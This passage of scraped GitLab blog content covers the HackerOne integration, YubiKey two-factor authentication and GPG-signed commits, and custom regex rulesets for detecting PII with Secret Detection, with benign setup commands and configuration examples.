2.0 application](https://docs.gitlab.com/ee/integration/oauth_provider.html) for your GitLab instance with the provided HackerOne settings  \n2. Connecting HackerOne to the newly created OAuth 2.0 on GitLab  \n3. Authorizing HackerOne to access the GitLab API  \n4. Configuring which GitLab project you would like to escalate HackerOne reports to  \n5. Selecting the HackerOne fields to map to corresponding GitLab fields  \n6. GitLab-to-HackerOne and HackerOne-to-GitLab event configuration\n\nOnce the integration is in place, you’ll be able to seamlessly sync data bi-directionally between both GitLab and HackerOne. This helps simplify context-switching and allows vulnerabilities to be tracked with ease throughout both systems. The integration allows for the following features:\n\n* **Creating a GitLab Issue from HackerOne:** You can create new GitLab issues for reports you receive on HackerOne.  \n* **Linking HackerOne reports to existing GitLab tasks.**   \n* **Syncing updates from HackerOne to GitLab:** The following updates on a report are synced as a comment to GitLab.  \n  * Report comments  \n  * State changes  \n  * Rewards  \n  * Assignee changes  \n  * Public disclosure  \n  * Close GitLab Issue  \n* **Syncing Updates from GitLab to HackerOne:** The following updates on GitLab will be reflected in HackerOne as an internal comment on the associated report:  \n  * Comments  \n  * State changes  \n* **HackerOne severity to GitLab label mapping**: Allows you to set a custom priority when escalating a report to GitLab.  \n* **Due date mapping:** Allows you to automatically set a custom due date based on the severity of a report.\n\n![GitLab + HackerOne adding comments or change the state of the report in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/sync_aHR0cHM6_1750097509644.png)\n\nThese features improve alignment between development and security teams and streamlining security vulnerability processing. To learn more on how the integration works, see the [integration documentation](https://docs.hackerone.com/en/articles/8571227-gitlab-integration).\n\n## A look into HackerOne bug bounty programs\n\nHackerOne provides bug bounty programs or cybersecurity initiatives where rewards are offered for discovering and reporting vulnerabilities in customers’ software systems, websites, or applications. Bug bounty programs help enhance the security of an application by:\n\n* Identifying security flaws before malicious actors can exploit them  \n* Leveraging diverse expertise from a global community of security researchers  \n* Providing a cost-effective way to improve cybersecurity  \n* Complementing internal security efforts and traditional penetration testing\n\nGitLab utilizes HackerOne’s bug bounty program, allowing security researchers to report vulnerabilities in GitLab applications or infrastructure. This crowdsourced approach helps GitLab identify and address potential security issues more effectively.\n\n![HackerOne GitLab Bug Bounty page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/hackerone_gitlab_bug_bounty_page_aHR0cHM6_1750097509645.png)\n\nBy leveraging HackerOne's platform and the global hacker community, organizations can significantly enhance their security posture, identify vulnerabilities faster, and stay ahead of potential threats.\n\n## Secure applications and improve efficiency with GitLab \n\nGitLab provides a complete DevSecOps platform, which enables functionality for the complete software development lifecycle, including security and compliance tools. GitLab supports the following security scanner types:\n- Static Application Security Testing (SAST)\n- Dynamic Application Security Testing (DAST)\n- Container Scanning\n- Dependency Scanning\n- Infrastructure as Code Scanning\n- Coverage-guided Fuzzing\n- Web API Fuzzing\n\nWith GitLab, you can add security scanning by simply applying a template to your CI/CD pipeline definition file. For example, enabling SAST just takes a few lines of code in the `.gitlab-ci.yml`:\n\n```yaml\nstage:\n  - test\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nThis will run SAST on the test stage, and [auto-detect the languages used](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) in your application. Then, whenever you create a merge request, SAST will detect the vulnerabilities in the diff between the feature branch and the target branch and provide relevant data on each vulnerability to assist with remediation.\n\n![NoSQL injection vulnerability seen in MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750097509647.png)\n\nThe results of the SAST scanner can block code from being merged if security policies are applied. Native GitLab users can be set as approvers, allowing required reviews before merging insecure code. This assures that all vulnerabilities have oversight from the appropriate parties.\n\n![Merge request approval policy](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750097509649.png)\n\nHackerOne has integrated GitLab into its operations and development processes in several significant ways, which have led to development process improvements and enhanced scalability and collaboration. These improvements include faster deployments and cross-team planning.\n\n## Key benefits of HackerOne's GitLab integration\n\nThe key benefits of using HackerOne and GitLab together include:\n\n* **Enhanced security visibility:** Development teams gain immediate visibility into security vulnerabilities without leaving their primary workflow environment. This real-time awareness helps teams prioritize security issues alongside feature development.  \n* **Streamlined remediation process:** By converting HackerOne reports directly into GitLab issues, the remediation process becomes part of the standard development cycle. This eliminates context switching between platforms and ensures security fixes are tracked alongside other development work.  \n* **Accelerated time to fix:** The integration significantly reduces the time between vulnerability discovery and resolution. With HackerOne submissions immediately available in GitLab, development teams can begin working on fixes without delay, improving overall security posture.  \n* **Improved collaboration:** Security researchers, security teams, and developers can communicate more effectively through this integration. Comments and updates flow between both platforms, creating a collaborative environment focused on improving security.  \n* **Real-world impact:** Organizations implementing the HackerOne and GitLab integration have reported:  \n  * Up to 70% reduction in time from vulnerability discovery to fix  \n  * Improved developer satisfaction by keeping them in their preferred workflow  \n  * Enhanced security visibility across the organization  \n  * More effective allocation of security resources\n\n> To get started today, visit [the integration setup page](https://docs.hackerone.com/en/articles/10394699-gitlab-setup) today.\n\n## Learn more\n\nTo learn more about GitLab and HackerOne, and how we can help enhance your security posture, check out the following resources:\n* [HackerOne's GitLab Integration Usage](https://docs.hackerone.com/en/articles/8571227-gitlab-integration)  \n* [HackerOne GitLab Bug Bounty Program](https://hackerone.com/gitlab?type=team)\n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [HackerOne achieves 5x faster deployments with GitLab’s integrated security](https://about.gitlab.com/customers/hackerone/)  \n* [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/)\n",[14,696,231,282,479,776,899],"bug bounty",{"slug":901,"featured":6,"template":677},"enhance-application-security-with-gitlab-hackerone","content:en-us:blog:enhance-application-security-with-gitlab-hackerone.yml","Enhance Application Security With Gitlab Hackerone","en-us/blog/enhance-application-security-with-gitlab-hackerone.yml","en-us/blog/enhance-application-security-with-gitlab-hackerone",{"_path":907,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":908,"content":914,"config":919,"_id":921,"_type":16,"title":922,"_source":17,"_file":923,"_stem":924,"_extension":20},"/en-us/blog/secure-and-safe-login-and-commits-with-gitlab-yubico",{"title":909,"description":910,"ogTitle":909,"ogDescription":910,"noIndex":6,"ogImage":911,"ogUrl":912,"ogSiteName":767,"ogType":768,"canonicalUrls":912,"schema":913},"Secure and safe login and commits with GitLab + Yubico","Learn how GitLab and Yubico have partnered to strengthen software development security through robust authentication measures.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663259/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images__3_.png","https://about.gitlab.com/blog/secure-and-safe-login-and-commits-with-gitlab-yubico","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure and safe login and commits with GitLab + Yubico\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-02\",\n      }",{"title":909,"description":910,"authors":915,"heroImage":911,"date":916,"body":917,"category":14,"tags":918},[856],"2025-04-02","We live in a time where data breaches and phishing attacks make daily headlines. These breaches can cause harm to an organization, such as regulatory fines, business downtime, or even worse, reputational damage. In terms of authentication, passwords have been the backbone of online security for decades, however, they're increasingly proving inadequate against sophisticated cyber threats.\n\nGitLab and [Yubico](https://www.yubico.com/) have partnered to strengthen software development security through robust authentication measures. Yubico is the inventor of the YubiKey, a hardware security key that delivers phishing-resistant multi-factor authentication (MFA). By implementing FIDO Universal 2nd Factor (U2F) and YubiKey hardware protection, GitLab offers developers a powerful defense against phishing attacks and other cyber threats, ensuring their code and projects remain secure. This collaboration expands enterprise-grade authentication in the GitLab platform, allowing programmers to focus on creating software while maintaining confidence in their account's integrity.\n\nThis article explains how to configure GitLab to use YubiKeys to protect developers from online threats. You’ll also learn how to further prevent tampering with GitLab verified commits.\n\n## How YubiKeys work\n\nAt their core, YubiKeys function as cryptographic hardware tokens that generate and store private keys in a secure element. These keys implement FIDO2/WebAuthn authentication protocols, which can be used as an additional factor to login to GitLab.\n\nHere's how it works when logging in:\n\n1. You enter your username and password.  \n2. GitLab sends a cryptographic challenge to your browser.  \n3. Your browser requests the YubiKey to sign this challenge.  \n4. You physically touch the YubiKey to approve.\n5. The YubiKey creates a unique cryptographic signature for that specific service and challenge.  \n6. GitLab verifies the signature using your public key stored during setup.\n\nMost major security breaches involve compromised passwords. Adding a YubiKey secures your account from a remote breach, even if your password is stolen, so you can rest assured that your GitLab account is secure. Additional key security benefits of using YubiKey for authentication with GitLab include:\n\n* **Phishing protection:** Fake sites won't have the correct cryptographic keys to verify the response. \n* **No secrets to steal:** The private key never leaves the YubiKey.  \n* **Physical security:** Physical presence is required to use it (you must touch the YubiKey).\n\n## Setting up YubiKey multifactor authentication in GitLab\n\nNow let’s go over how to set up a Yubikey for multifactor authentication in GitLab. Make sure you're using a [supported browser and operating system](https://support.yubico.com/hc/en-us/articles/360016615020-Operating-system-and-web-browser-support-for-FIDO2-and-U2F) as they have better WebAuthn support for hardware security keys.\n\n1. First, log in to your GitLab account and go to your user settings (click your avatar in the top left corner and select **Preferences**). \n2. In the left sidebar, click on **Account** and navigate to the **Two-factor Authentication** section.\n3. If you haven't already enabled 2FA, you'll need to do that first.\n\n    a. Click **Enable two-factor authentication**.\n\n    b. Scan the QR code with your authenticator app.\n\n    c. Enter the code from your authenticator app.\n\n    d. Enter your GitLab password. If you ever need to access your GitLab account without using Google authentication, you may need to:\n    * Use the **Forgot password** option on the GitLab login page to set up a separate GitLab password.\n    * Contact your GitLab administrator to help you set up alternative login methods.\n\n   e. Save your recovery codes in a safe place.\n\n4. Once 2FA is enabled, go back to the previous screen by pressing **Manage two-factor authentication** and scroll down to the **Register hardware token** section.  \n5. Press the **Set up new device** button.  \n    a. A popup from your browser should appear. **Note:** This image may look different depending on your browser. You may also get popups from password managers feel free to ignore them. \n\n![Browser (Brave) Auth Request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674606/Blog/Content%20Images/browser_auth_request.png)\n\n    b. Select **Use a phone, tablet, or security key**.\n\n6. A new popup will appear.\n\n![browser security key request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/browser_security_key_request.png)\n\n    a. Insert your YubiKey into your computer's USB port.\n\n    b. Touch the metal contact/button on your YubiKey when prompted. The field will automatically fill with a one-time code.\n\n7. Enter your GitLab Password and provide a name for your Hardware Key.  \n8. Click **Register** to add the YubiKey to your account.\n\nCongratulations, your YubiKey is now registered and can be used as a second factor when logging into GitLab! You can register multiple YubiKeys to your account for backup purposes. **Note:** The process may vary slightly among browsers.\n\n![yubikey registered](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/yubikey_registered.png)\n\n\u003Ccenter>\u003Ci>YubiKey registered successfully\u003C/i>\u003C/center>\n\n## Signing in with a YubiKey\n\nNow that we have our YubiKey configured, we can log in as follows:\n\n1. Go to GitLab.com.\n\n![GitLab login](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/gitlab_login.png)\n\n2. Provide your username and password and then press the **Sign in** button.\n3. You will be sent to the following screen.\n\n![GitLab 2fa login](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674606/Blog/Content%20Images/2fa_login.png)\n\n    a. A popup, like the one below, should come up. **Note:** This image may look different depending on your browser. You may also get popups from password managers; feel free to ignore them.\n\n![Browser security key request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/browser_security_key_request.png)\n\n    b. Insert your YubiKey into your computer's USB port.\n\n    c. Touch the metal contact/button on your YubiKey when prompted. The field will automatically fill with a one-time code.\n\nNow, you should be logged in and taken to your GitLab page. **Note:** The process may vary slightly among browsers.\n\n## What happens if I lose my YubiKey?\n\nYubico recommends that you use and keep a backup YubiKey. When considering your home, car, or office, you wouldn’t think twice about having a backup key to keep in a safe place. Your digital self should get the same level of consideration. A backup YubiKey kept in a safe place provides a quick and safe backup if your primary YubiKey is lost. Keeping a backup will also easily enable you to deactivate the lost YubiKey and add a new primary or secondary YubiKey.\n\nIf you do not have an additional YubiKey added, it is recommended to have another form of 2FA added to your accounts. In either case, you should be able to get access to your account and remove the lost key from the account. Please note that if a spare key or another authentication method hasn’t been added, you will need to contact the service/website for help with recovering your account.\n\n## GitLab verified commits\n\nTo further prevent tampering, you can also configure verified commits. Verified commits in GitLab use GPG (GNU Privacy Guard) signatures to prove that a commit actually came from you. This adds another layer of security on top of authentication by ensuring that not only is your account secure, but every code change can be cryptographically verified as coming from you.\n\nYour YubiKey can store GPG keys:\n\n* The private key is stored securely on the YubiKey.  \n* The public key is shared with GitLab.\n* The key pair is used to sign your commits.\n\nOnce the GPG keys have been set up:\n\n* When you make a commit, Git uses your private key to create a signature.  \n* The GPG key is accessed from the attached YubiKey.  \n* The signature is stored with the commit metadata.  \n* GitLab verifies the signature using your public key.\n\n## Setting up verified commits\n\nLet’s go over how to configure verified commits. In this example, the GPG key will live inside your YubiKey, providing an extra layer of security.\n\n1. Install required software.\n\n```bash\n# On macOS\nbrew install --cask yubico-yubikey-manager\nbrew install gnupg gpg yubikey-manager\n\n# On Ubuntu/Debian\nsudo apt install gnupg gpg yubikey-personalization\n\n# On Windows\n# Download and install Gpg4win from https://gpg4win.org\n```\n\n2. Check YubiKey GPG status.\n\n```bash\ngpg --card-status\n```\n3. Generate GPG keys directly on YubiKey (more secure).\n\n```bash\n# Start GPG edit mode\ngpg --card-edit\n\n# Enter admin mode\nadmin\n\n# Generate key directly on card\n# PIN = '123456' | Admin PIN = '12345678'\ngenerate\n\n# Follow prompts\n# See documentation for more info \n# https://support.yubico.com/hc/en-us/articles/360013790259-Using-Your-YubiKey-with-OpenPGP\n```\n\n4. Export your public key.\n\n```bash\n# Get your key ID\ngpg --list-secret-keys --keyid-format LONG\n\n# Export the public key\ngpg --armor --export YOUR_KEY_ID\n```\n\n5. Add the public key to GitLab.\n\n    a. Click on your GitLab Avatar and select **Preferences**.\n\n    b. On the side tab select **GPG Keys**.\n\n    c. Click **Add new key**.\n\n    d. Paste your public key.\n\n    e. Click **Add key**.\n\n6. Configure Git.\n\n```bash\n# Set signing key\ngit config --global user.signingkey YOUR_KEY_ID\n\n# Enable automatic signing\ngit config --global commit.gpgsign true\n\n# Tell GPG which key to use\necho \"default-key YOUR_KEY_ID\" >> ~/.gnupg/gpg.conf\n```\n\n7. Now let’s test the configuration by creating a test commit in a project:\n\n```bash\n# Make a change in the project\n# Add changes\ngit add .\n\n# Make a test commit\ngit commit -S -m \"Test signed commit\"\n\n# Verify signature\ngit verify-commit HEAD\n\n# Push the change\ngit push\n```\n\nThe `git verify-commit HEAD` command should show the GPG key used:\n\n```bash\ngpg: Signature made Wed Feb 26 11:45:00 2025 CST\ngpg:                using RSA key YOUR_KEY_ID\ngpg: Good signature from “NAME (DESCRIPTION) \u003CEMAIL>\" [ultimate]\n```\n\nThen, when viewing the commit in GitLab, you should now see that the commit is verified as follows:\n\n![Commit is verified](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/verified.png)\n\n\u003Ccenter>\u003Ci>Commit verified with GPG key\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nYou can also use the [commits API](https://docs.gitlab.com/api/commits/#get-signature-of-a-commit) to check a commit’s signature allowing you to further operationalize the verification workflow.\n\n## Learn more\n\nTo learn more about GitLab, Yubico, and the solutions each provides, check out these resources:\n\n* [Why GitLab](https://about.gitlab.com/why-gitlab/)  \n* [Why Yubico](https://www.yubico.com/why-yubico/)  \n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab listing in the \"Works with YubiKey\" catalog](https://www.yubico.com/works-with-yubikey/catalog/gitlab/)  \n* [Verified Commits - GitLab documentation](https://docs.gitlab.com/ee/user/project/repository/signed_commits/)  \n* [Push Rules in GitLab](https://docs.gitlab.com/user/project/repository/push_rules/)  \n* [Sign Commit with GPG Keys documentation](https://docs.gitlab.com/user/project/repository/signed_commits/gpg/)\n",[231,14,696,479,695,715],{"slug":920,"featured":92,"template":677},"secure-and-safe-login-and-commits-with-gitlab-yubico","content:en-us:blog:secure-and-safe-login-and-commits-with-gitlab-yubico.yml","Secure And Safe Login And Commits With Gitlab Yubico","en-us/blog/secure-and-safe-login-and-commits-with-gitlab-yubico.yml","en-us/blog/secure-and-safe-login-and-commits-with-gitlab-yubico",{"_path":926,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":927,"content":932,"config":938,"_id":940,"_type":16,"title":941,"_source":17,"_file":942,"_stem":943,"_extension":20},"/en-us/blog/enhance-data-security-with-custom-pii-detection-rulesets",{"title":928,"description":929,"ogTitle":928,"ogDescription":929,"noIndex":6,"ogImage":692,"ogUrl":930,"ogSiteName":767,"ogType":768,"canonicalUrls":930,"schema":931},"Strengthen data security with custom PII detection rulesets","This tutorial explains how GitLab's customizable Secret Detection rulesets enhance data security by identifying PII patterns in code repositories. Learn how AI can help.","https://about.gitlab.com/blog/enhance-data-security-with-custom-pii-detection-rulesets","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Strengthen data security with custom PII detection rulesets\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-01\",\n      }",{"title":928,"description":929,"authors":933,"heroImage":692,"date":934,"body":935,"category":14,"tags":936},[856],"2025-04-01","Protecting sensitive information is more critical than ever. GitLab's Secret Detection feature provides a powerful solution to identify and prevent the exposure of sensitive data. This tutorial explores how GitLab Secret Detection works, how to create custom rulesets for finding personally identifiable information, and how GitLab Duo Chat can streamline the creation of regex patterns for PII detection.\n\n## Understanding GitLab Secret Detection\n\n[GitLab Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/) is a security scanning feature integrated into the GitLab CI/CD pipeline. It automatically scans your codebase to identify hardcoded secrets, credentials, and other sensitive information that shouldn't be stored in your repository.\n\n### Key benefits\n\n* **Data breach prevention** detects secrets before they're committed to your repository.  \n* **Automated scanning** runs as part of your CI/CD pipeline without manual intervention.  \n* **Customizable rules** extend detection capabilities with custom patterns.  \n* **Compliance support** helps meet regulatory requirements like GDPR, HIPAA, and the California Privacy Protection Act.\n\n## Create custom rulesets for PII detection\n\nWhile GitLab's default secret detection covers common secrets like API keys and passwords, you may need custom rules to identify specific types of PII relevant to your organization. \n\nTo get started, create a new GitLab project and follow the steps below. You can follow along and see usage examples in our [PII Demo Application](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/secret-scanning/pii-data-ruleset).\n\n**Step 1: Set up Secret Detection**\n\nEnsure Secret Detection is enabled in your `.gitlab-ci.yml` file:\n\n```\ninclude:\n  - template: Security/Secret-Detection.gitlab-ci.yml\n\nsecret_detection:\n  variables:\n    SECRET_DETECTION_EXCLUDED_PATHS: \"rules,.gitlab,README.md,LICENSE\"\n    SECRET_DETECTION_HISTORIC_SCAN: \"true\"\n```\n\n**Step 2: Create a custom ruleset file**\n\nCreate the directory and file `rules/pii-data-extenson.toml`, which contains the regex patterns for PII data along with an allowlist of patterns to ignore. Below are patterns to detect passport numbers (USA), phone numbers (USA), and email addresses:\n\n```toml\n[extend]\n# Extends default packaged ruleset, NOTE: do not change the path.\npath = \"/gitleaks.toml\"\n\n# Patterns to ignore (used for tests)\n[allowlist]\ndescription = \"allowlist of patterns and paths to ignore in detection\"\nregexTarget = \"match\"\nregexes = ['''555-555-5555''', '''user@example.com''']\npaths = ['''(.*?)(jpg|gif|doc|pdf|bin|svg|socket)''']\n\n# US Passport Number (USA)\n[[rules]]\nid = \"us_passport_detection\"\ntitle = \"US Passport Number\"\ndescription = \"Detects US passport numbers\"\nregex = '''\\b[A-Z]{1,2}[0-9]{6,9}\\b'''\nkeywords = [\"passport\"]\n\n# Phone Number (USA)\n[[rules]]\nid = \"us_phone_number_detection_basic\"\ntitle = \"US Phone Number\"\ndescription = \"Detects US phone numbers in basic format\"\nregex = '''\\b\\d{3}-\\d{3}-\\d{4}\\b'''\nkeywords = [\"phone\", \"mobile\"]\n\n# Email Address\n[[rules]]\nid = \"email_address\"\ntitle = \"Email Address\"\ndescription = \"Detects email addresses\"\nregex = '''[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}'''\nkeywords = [\"email\", \"e-mail\"]\n```\n**Step 3: Extend Secret Detection with the custom ruleset file**\n\nCreate a directory and file `.gitlab/secret-detection-ruleset.toml` in the root of your repository. This file allows you to extend the standard configuration with the PII rules file, and overwrite the severity of the detected vulnerabilities (default severity is `Critical`).\n\n```\n# Define the pii rules to add to default configuration\n[[secrets.passthrough]]\ntype = \"file\"\ntarget = \"gitleaks.toml\"\nvalue = \"rules/pii-data-extension.toml\"\n\n# Overwrite Phone Number (USA) PII Severity\n[[secrets.ruleset]]\n[secrets.ruleset.identifier]\ntype = \"gitleaks_rule_id\"\nvalue = \"us_phone_number_detection_basic\"\n[secrets.ruleset.override]\nseverity = \"Medium\"\n\n# Overwrite Email Address PII Severity\n[[secrets.ruleset]]\n[secrets.ruleset.identifier]\ntype = \"gitleaks_rule_id\"\nvalue = \"email_address\"\n[secrets.ruleset.override]\nseverity = \"Low\"\n```\n\n**Step 4: Commit your changes**\n\nNow add the changes in the above steps to your project.\n\n```\ncd /path/to/your/project\ngit add .\ngit commit -m \"Add PII data ruleset and Secret Scanning\"\ngit push\n```\n\nOnce the code is committed, Secret Detection will run within the default branch.\n\n**Step 5: Test detection of PII data**\n\nNow that we have configured the Secret Detection scanner, we should perform a test to see if the scanner is detecting the new custom patterns. This can be done by creating a merge request, which adds a new file named `customer-data.yaml` with the following:\n\n```yaml  \ncustomers:  \n  test_user:  \n    phone_number: 555-555-555  \n    email: user@example.com  \n  justin_case:  \n    phone_number: 512-123-4567  \n    passport_number: A12345678  \n    email: justin_case@example.com  \n  chris_p_bacon: \n    phone_number: 305-123-4567  \n    passport_number: B09876543  \n    email: chris_p_bacon@example.com  \n```\n\nThe scanner should now perform the following:\n\n* Ignore the `phone_number` and `email` of `test_user` due to patterns being in allowlist  \n* Detect six potential vulnerabilities due to the information present for both `justin_case` and `chris_p_bacon`\n  * U.S. passport number severity is set to `Critical` (default)  \n  * U.S. phone number severity is set to `Medium` (override)  \n  * Email address severity is set to `Low` (override)\n  * Data from rules override is added to each vulnerability\n\nOnce the [merge request](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/secret-scanning/pii-data-ruleset/-/merge_requests/4) is submitted, the Secret Detection scanner runs and provides the following results:\n\n![Secret Detection finding custom PII data MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097709/Blog/Content%20Images/Blog/Content%20Images/pii_vulns_aHR0cHM6_1750097709683.png)\n\nWhen clicking on a vulnerability, you are presented with detailed vulnerability data based on what was configured in your newly set up rules:\n\n![Expanded custom PII data vulnerability](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097710/Blog/Content%20Images/Blog/Content%20Images/pii_vulns_expanded_aHR0cHM6_1750097709684.png)\n\nThis data allows you to determine the validity of the data present and address it accordingly.\n\nThere are additional ways to configure custom rulesets. For example, rules can be applied remotely to several projects, avoiding the need to duplicate the rules file. See the [Secret Detection Configuration documentation](https://docs.gitlab.com/user/application_security/secret_detection/pipeline/configure/) for more information.\n\n## Common PII types to consider\n\nWhen building your custom ruleset, consider including patterns for:\n\n* Social Security Numbers  \n* Credit card numbers  \n* Driver's license numbers  \n* Passport numbers  \n* Email addresses  \n* Phone numbers  \n* IP addresses  \n* Physical addresses  \n* Medical record numbers\n\n## Leveraging GitLab Duo Chat for pattern creation\n\nCreating effective regex patterns can be challenging. This is where [GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/) comes in handy. GitLab Duo Chat is an AI-powered assistant that accelerates development with contextual, conversational AI. Chat is available to any user with an assigned GitLab Duo seat.\n\n### Using GitLab Duo Chat to generate PII regex patterns\n\n1. **Access GitLab Duo Chat:** In the upper right corner, select __GitLab Duo Chat__. A drawer opens on the right side of your screen.\n\n2. **Prompt the chat:** Enter a prompt in the chat input box and press __Enter__ or select __Send__:\n\n```\nI need a regex pattern to detect Canadian Zip Codes in our codebase for secret detection\n```\n\n3. **Review and refine:** GitLab Duo Chat will suggest a regex pattern that you can review and refine:\n\n```\nCanadian postal codes follow the format \"A1A 1A1\" (where A is a letter and 1 is a digit). Here's a regex pattern that will detect Canadian postal codes in your codebase, accounting for both spaced and non-spaced formats:\n[A-Za-z]\\d[A-Za-z][ -]?\\d[A-Za-z]\\d\nThis pattern matches:\n* A letter, followed by a digit, followed by a letter\n* An optional space or hyphen\n* A digit, followed by a letter, followed by a digit\nIf you need a more strict pattern that only matches uppercase letters (as official Canadian postal codes use), you can use:\n[A-Z]\\d[A-Z][ -]?\\d[A-Z]\\d\nFor implementation in a secret detection tool, you might want to add word boundaries to avoid partial matches:\n\\b[A-Z]\\d[A-Z][ -]?\\d[A-Z]\\d\\b\nWould you like more details about implementing this in a specific secret detection system?\n```\n\n4. **Test the pattern:** Test the pattern against sample data to ensure it works correctly. You can use sites like [https://regex101.com/](https://regex101.com/) to validate patterns before you submit them to your ruleset.\n\n5. **Add to your ruleset:** Once satisfied, add the pattern to your `rules/pii-data-extension.toml` file and perform some tests to validate. This sample [merge request](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/secret-scanning/pii-data-ruleset/-/merge_requests/5/diffs) contains a newly added rule for Canadian Zip Codes based on the above.\n\nAdditionally, you can use GitLab Duo Chat in:\n\n* [The GitLab Web IDE (VS Code in the cloud)](https://docs.gitlab.com/user/project/web_ide/)  \n* VS Code, with the [GitLab Workflow extension for VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow)  \n* JetBrains IDEs, with the [GitLab Duo Plugin for JetBrains](https://plugins.jetbrains.com/plugin/22325-gitlab-duo)  \n* Visual Studio for Windows, with the [GitLab Extension for Visual Studio](https://marketplace.visualstudio.com/items?itemName=GitLab.GitLabExtensionForVisualStudio)\n\nIn the future, you’ll be able to leverage [GitLab Duo Workflow](https://docs.gitlab.com/user/duo_workflow/) (currently in private beta) to automatically generate and add these patterns to your code base directly from your IDE. GitLab Duo Workflow is an AI agent, which transforms AI from reactive assistant to autonomous contributor, optimizing your software development lifecycle. Learn more about [GitLab Duo Workflow](https://about.gitlab.com/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development/).\n\n## Best practices for PII detection\n\n1. **Start small:** Begin with a few critical PII types and expand gradually.  \n2. **Test thoroughly:** Test your patterns against sample data to avoid false positives.  \n3. **Update regularly:** Review and update your rulesets as new PII requirements emerge.  \n4. **Document patterns:** Maintain documentation for your custom regex patterns.  \n5. **Balance precision:** Make patterns specific enough to avoid false positives but flexible enough to catch variations.  \n6. **Implement [Secret Push Protection](https://about.gitlab.com/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection/):** Prevent PII data from making it into your repository.  \n7. **Set up [Merge Request Approval Policies](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/):** Require approval before merging any possible PII data to your repository.\n\nOnce you have set up a PII data ruleset to meet your organization's needs, remote rulesets can scan for PII data across multiple repositories without the need to duplicate the rules file. Watch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/vjJxQz918WE?si=CRdIEodo3ALxVWXO\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Handling Secret Detection findings\n\nWhen GitLab Secret Detection identifies potential PII in your code:\n\n1. **Review the finding:** Assess whether it's a legitimate finding or a false positive.  \n2. **Remediate:** Remove the sensitive data and replace it with environment variables or secrets management.  \n3. **[Redact text from repository](https://docs.gitlab.com/user/project/merge_requests/revert_changes/#redact-text-from-repository):** Permanently delete sensitive or confidential information that was accidentally committed, ensuring it's no longer accessible in your repository's history. \n4. **Track progress:** Use GitLab's security dashboard to monitor ongoing compliance.\n\n## Get started today\n\nGitLab Secret Detection, combined with custom PII rulesets, provides a powerful defense against inadvertent exposure of sensitive information. By leveraging GitLab Duo Chat to create precise regex patterns, teams can efficiently implement comprehensive PII detection across their codebase, ensuring regulatory compliance and protecting user data.\n\nRemember that secret detection is just one component of a comprehensive security strategy. Combine it with other GitLab security features like static application security testing, dynamic application security testing, and dependency scanning for a more robust security posture.\n\nStart implementing these practices today to better protect your users' personal information and maintain the security integrity of your applications.\n\n> Start [a free, 60-day trial of GitLab Ultimate and GitLab Duo ](https://about.gitlab.com/free-trial/)today!\n\n## More resources\n\nTo learn more about GitLab security and compliance and how we can help enhance your AppSec workflows, follow the links below:\n\n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab DevSecOps Platform](https://about.gitlab.com/platform/)  \n* [GitLab Duo (AI)](https://about.gitlab.com/gitlab-duo/)  \n* [GitLab Application Security documentation](https://docs.gitlab.com/user/application_security/) \n* [Secret Detection documentation](https://docs.gitlab.com/user/application_security/secret_detection/)\n",[14,695,696,479,937],"AI/ML",{"slug":939,"featured":92,"template":677},"enhance-data-security-with-custom-pii-detection-rulesets","content:en-us:blog:enhance-data-security-with-custom-pii-detection-rulesets.yml","Enhance Data Security With Custom Pii Detection 